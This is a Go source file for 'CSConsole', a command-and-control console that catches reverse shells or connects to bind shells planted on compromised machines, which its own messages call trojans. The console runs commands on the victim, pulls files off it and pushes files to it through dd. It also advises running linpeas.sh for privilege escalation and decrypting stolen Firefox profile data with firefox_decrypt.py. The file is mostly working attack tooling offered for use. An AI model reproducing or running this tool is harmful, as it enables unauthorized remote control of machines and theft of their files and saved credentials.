398 lines
8.4 KiB
Go
398 lines
8.4 KiB
Go
package main
|
||
|
||
import (
|
||
"bufio"
|
||
"errors"
|
||
"fmt"
|
||
"log"
|
||
"net"
|
||
"os"
|
||
"os/exec"
|
||
"regexp"
|
||
"strconv"
|
||
"strings"
|
||
)
|
||
|
||
func main() {
|
||
//print banner
|
||
fmt.Println(" ____ ____ ____ _ ")
|
||
fmt.Println(" / ___/ ___| / ___|___ _ __ ___ ___ | | ___ ")
|
||
fmt.Println("| | \\___ \\| | / _ \\| _ \\/ __|/ _ \\| |/ _ \\")
|
||
fmt.Println("| |___ ___) | |__| (_) | | | \\__ \\ (_) | | __/")
|
||
fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|")
|
||
|
||
console()
|
||
}
|
||
|
||
type env struct {
|
||
lport int
|
||
rhost string
|
||
rport int
|
||
username string
|
||
}
|
||
|
||
var env1 env
|
||
|
||
// 控制台函数
|
||
func console() {
|
||
|
||
//set some defult env varieties
|
||
env1.lport = 4444
|
||
env1.rhost = "127.0.0.1"
|
||
env1.rport = 4444
|
||
|
||
reader := bufio.NewReader(os.Stdin)
|
||
for {
|
||
fmt.Print("CSConsole > ")
|
||
// Read the keyboad input.
|
||
input, err := reader.ReadString('\n')
|
||
if err != nil {
|
||
fmt.Fprintln(os.Stderr, err)
|
||
}
|
||
|
||
// Handle the execution of the input.
|
||
if err = execInput(input); err != nil {
|
||
fmt.Fprintln(os.Stderr, err)
|
||
}
|
||
}
|
||
}
|
||
|
||
//define some errors
|
||
var ErrNoSet = errors.New("variaty name required")
|
||
var ErrNoVar = errors.New("variaty name wrong")
|
||
|
||
func execInput(input string) error {
|
||
// Remove the newline character.
|
||
input = strings.TrimSuffix(input, "\n")
|
||
|
||
// Split the input separate the command and the arguments.
|
||
args := strings.Split(input, " ")
|
||
|
||
// Check for built-in commands.
|
||
switch args[0] {
|
||
|
||
case "help":
|
||
fmt.Println("use show to show options")
|
||
fmt.Println("use set to set varieties")
|
||
fmt.Println("use listen to connect a reverse shell")
|
||
fmt.Println("use dial to connect a bind shell")
|
||
return nil
|
||
|
||
case "cd":
|
||
// use "cd" to cd home
|
||
if len(args) < 2 {
|
||
home := os.Getenv("HOME")
|
||
return os.Chdir(home)
|
||
}
|
||
// Change the directory and return the error.
|
||
return os.Chdir(args[1])
|
||
|
||
case "set":
|
||
if len(args) < 3 {
|
||
return ErrNoSet
|
||
}
|
||
switch args[1] {
|
||
case "lport":
|
||
env1.lport, _ = strconv.Atoi(args[2])
|
||
return nil
|
||
case "rhost":
|
||
env1.rhost = args[2]
|
||
return nil
|
||
case "rport":
|
||
env1.rport, _ = strconv.Atoi(args[2])
|
||
return nil
|
||
default:
|
||
return ErrNoVar
|
||
}
|
||
|
||
case "show":
|
||
fmt.Printf("Local listening port (lport): %d\n", env1.lport)
|
||
fmt.Printf("Remote listening host (rhost)(only support ipv4 addr): %s\n", env1.rhost)
|
||
fmt.Printf("Remote listening port (rport): %d\n", env1.rport)
|
||
return nil
|
||
|
||
case "listen":
|
||
listener(env1.lport)
|
||
return nil
|
||
|
||
case "dial":
|
||
dial(env1.rhost, env1.rport)
|
||
return nil
|
||
case "exit":
|
||
os.Exit(0)
|
||
}
|
||
|
||
// Prepare the command to execute.
|
||
cmd := exec.Command(args[0], args[1:]...)
|
||
|
||
// Set the correct output device.
|
||
cmd.Stderr = os.Stderr
|
||
cmd.Stdout = os.Stdout
|
||
|
||
// Execute the command and return the error.
|
||
return cmd.Run()
|
||
}
|
||
|
||
// listener function
|
||
func listener(port int) {
|
||
// Create a listener
|
||
var addr net.TCPAddr
|
||
addr.IP = net.IPv4(127, 0, 0, 1)
|
||
addr.Port = port
|
||
listener, err := net.ListenTCP("tcp", &addr)
|
||
if err != nil {
|
||
fmt.Println("err = ", err)
|
||
return
|
||
}
|
||
fmt.Printf("Listening on local port %d\n", port)
|
||
defer listener.Close()
|
||
|
||
//var connpool[16] net.TCPConn
|
||
//Wait for connection
|
||
|
||
conn, err := listener.AcceptTCP()
|
||
if err != nil {
|
||
fmt.Println("err = ", err)
|
||
return
|
||
}
|
||
fmt.Println("木马已经上线")
|
||
|
||
//defer conn.Close() //Close TCP connetcion
|
||
|
||
exit := make(chan string, 1)
|
||
receive := make(chan int)
|
||
sstop := make(chan string)
|
||
rstop := make(chan string)
|
||
|
||
//Get username
|
||
conn.Write([]byte("id\n"))
|
||
receiver(*conn)
|
||
fmt.Print(env1.username + " > ")
|
||
|
||
go func() {
|
||
for {
|
||
select {
|
||
case <-rstop:
|
||
return
|
||
default:
|
||
<-receive
|
||
receiver(*conn)
|
||
fmt.Print(env1.username + " > ")
|
||
}
|
||
}
|
||
}()
|
||
|
||
go func() {
|
||
for {
|
||
select {
|
||
case <-sstop:
|
||
return
|
||
default:
|
||
sender(conn, exit, receive, sstop, rstop)
|
||
|
||
}
|
||
}
|
||
}()
|
||
exitsignal := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
||
sstop <- "stop sender"
|
||
rstop <- "stop receiver"
|
||
fmt.Printf("command: %v\n", exitsignal)
|
||
}
|
||
|
||
func dial(host string, port int) {
|
||
//处理连接参数
|
||
var dialaddr net.TCPAddr
|
||
var ipargs [4]int
|
||
args := strings.Split(host, ".")
|
||
for i := 0; i < 4; i++ {
|
||
ipargs[i], _ = strconv.Atoi(args[i])
|
||
}
|
||
dialaddr.IP = net.IPv4(byte(ipargs[0]), byte(ipargs[1]), byte(ipargs[2]), byte(ipargs[3]))
|
||
dialaddr.Port = port
|
||
|
||
conn, err := net.DialTCP("tcp", nil, &dialaddr)
|
||
if err != nil {
|
||
fmt.Fprintln(os.Stderr, err)
|
||
return
|
||
}
|
||
defer conn.Close()
|
||
defer fmt.Println("木马已断开")
|
||
fmt.Println("成功连接木马")
|
||
|
||
exit := make(chan string, 1)
|
||
receive := make(chan int)
|
||
sstop := make(chan string)
|
||
rstop := make(chan string)
|
||
|
||
conn.Write([]byte("id\n"))
|
||
receiver(*conn)
|
||
fmt.Print(env1.username + " > ")
|
||
|
||
go func() {
|
||
for {
|
||
select {
|
||
case <-rstop:
|
||
return
|
||
default:
|
||
<-receive
|
||
receiver(*conn)
|
||
fmt.Print(env1.username + " > ")
|
||
}
|
||
}
|
||
}()
|
||
|
||
go func() {
|
||
for {
|
||
select {
|
||
case <-sstop:
|
||
return
|
||
default:
|
||
sender(conn, exit, receive, sstop, rstop)
|
||
|
||
}
|
||
}
|
||
}()
|
||
|
||
exitsignal := <-exit //尝试从通道中读取内容,若通道为空,则阻塞在此
|
||
sstop <- "stop sender"
|
||
rstop <- "stop receiver"
|
||
fmt.Printf("command: %v\n", exitsignal)
|
||
}
|
||
|
||
func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
|
||
reader := bufio.NewReader(os.Stdin)
|
||
inp, err := reader.ReadString('\n')
|
||
if len(inp) == 1 {
|
||
fmt.Print(env1.username + " > ")
|
||
return
|
||
}
|
||
if nil != err {
|
||
fmt.Println("reader.ReadLine() error:", err)
|
||
}
|
||
//some built-in command
|
||
if strings.HasPrefix(inp, ":help") {
|
||
fmt.Println("use :download FILENAME to download")
|
||
fmt.Println("use :upload LOCAL REMOTE to upload")
|
||
fmt.Println("use :exit to close session")
|
||
fmt.Println("use :getsystem to get Local Privilege Escalation")
|
||
fmt.Println("use :flush to flush receive buffer(Use only when input and output are inconsistent)")
|
||
fmt.Print(env1.username + " > ")
|
||
return
|
||
}
|
||
|
||
if strings.HasPrefix(inp, ":download") {
|
||
inp = strings.TrimSuffix(inp, "\n")
|
||
args := strings.Split(inp, " ")
|
||
if len(args) != 2 {
|
||
fmt.Println("args error")
|
||
return
|
||
}
|
||
conn.Write([]byte("dd if=" + args[1] + " status=none bs=4096" + "\n"))
|
||
dlbuf := make([]byte, 4096)
|
||
dlfile, _ := os.Create("./downloaded/" + args[1])
|
||
defer dlfile.Close()
|
||
for {
|
||
n, _ := conn.Read(dlbuf)
|
||
_, err := dlfile.Write(dlbuf[:n])
|
||
if n != 4096 {
|
||
fmt.Println("downloaded at downloaded/" + args[1])
|
||
fmt.Print(env1.username + " > ")
|
||
return
|
||
}
|
||
if err != nil {
|
||
panic(err)
|
||
}
|
||
}
|
||
|
||
}
|
||
|
||
if strings.HasPrefix(inp, ":upload") {
|
||
inp = strings.TrimSuffix(inp, "\n")
|
||
args := strings.Split(inp, " ")
|
||
if len(args) != 3 {
|
||
fmt.Println("args error")
|
||
return
|
||
}
|
||
f, err := os.OpenFile(args[1], os.O_RDONLY, 0744)
|
||
if err != nil {
|
||
log.Fatal(err)
|
||
}
|
||
if err := f.Close(); err != nil {
|
||
log.Fatal(err)
|
||
}
|
||
|
||
uploadbuf, _ := os.ReadFile(args[1])
|
||
file, _ := os.Stat(args[1])
|
||
size := file.Size()
|
||
count := size / 1024
|
||
morecount := size % 1024
|
||
if morecount != 0 {
|
||
count++
|
||
}
|
||
strcount := strconv.Itoa(int(count))
|
||
conn.Write([]byte("dd of=" + args[2] + " status=none bs=1024 count=" + strcount + "\n"))
|
||
conn.Write(uploadbuf)
|
||
fmt.Println("Upload success")
|
||
fmt.Print(env1.username + " > ")
|
||
return
|
||
}
|
||
|
||
if strings.HasPrefix(inp, ":exit") {
|
||
exit <- "server quit" // 3. 向通道内写入内容
|
||
conn.Write([]byte("exit\n"))
|
||
receive <- 1
|
||
return
|
||
}
|
||
|
||
if strings.HasPrefix(inp, ":getsystem") {
|
||
fmt.Println("linpeas.sh is a priviliage escape script, please upload it and run")
|
||
fmt.Println("you can download files in .mozilla and then decrypt them by firefox_decrypt.py")
|
||
return
|
||
}
|
||
|
||
if strings.HasPrefix(inp, ":flush") {
|
||
receive <- 1
|
||
return
|
||
}
|
||
|
||
if strings.HasPrefix(inp, "cd ..") {
|
||
fmt.Println("don't use .. change dir")
|
||
return
|
||
}
|
||
|
||
if strings.HasPrefix(inp, "cd .") {
|
||
fmt.Println("don't use . change dir")
|
||
return
|
||
}
|
||
conn.Write([]byte(inp))
|
||
receive <- 1
|
||
}
|
||
|
||
func receiver(conn net.TCPConn) {
|
||
buflen := 65536
|
||
buf := make([]byte, buflen)
|
||
for {
|
||
n, _ := conn.Read(buf)
|
||
|
||
if strings.HasPrefix(string(buf[:n]), "uid=") {
|
||
compileRegex := regexp.MustCompile("((.*?))")
|
||
matchArr := compileRegex.FindStringSubmatch(string(buf[:n]))
|
||
|
||
if len(matchArr) == 0 {
|
||
compileRegex := regexp.MustCompile("\\((.*?)\\)")
|
||
matchArr = compileRegex.FindStringSubmatch(string(buf[:n]))
|
||
}
|
||
|
||
if len(matchArr) > 0 {
|
||
env1.username = matchArr[len(matchArr)-1]
|
||
return
|
||
}
|
||
}
|
||
fmt.Printf("%v", string(buf[:n]))
|
||
if n != buflen {
|
||
return
|
||
}
|
||
}
|
||
|
||
}
|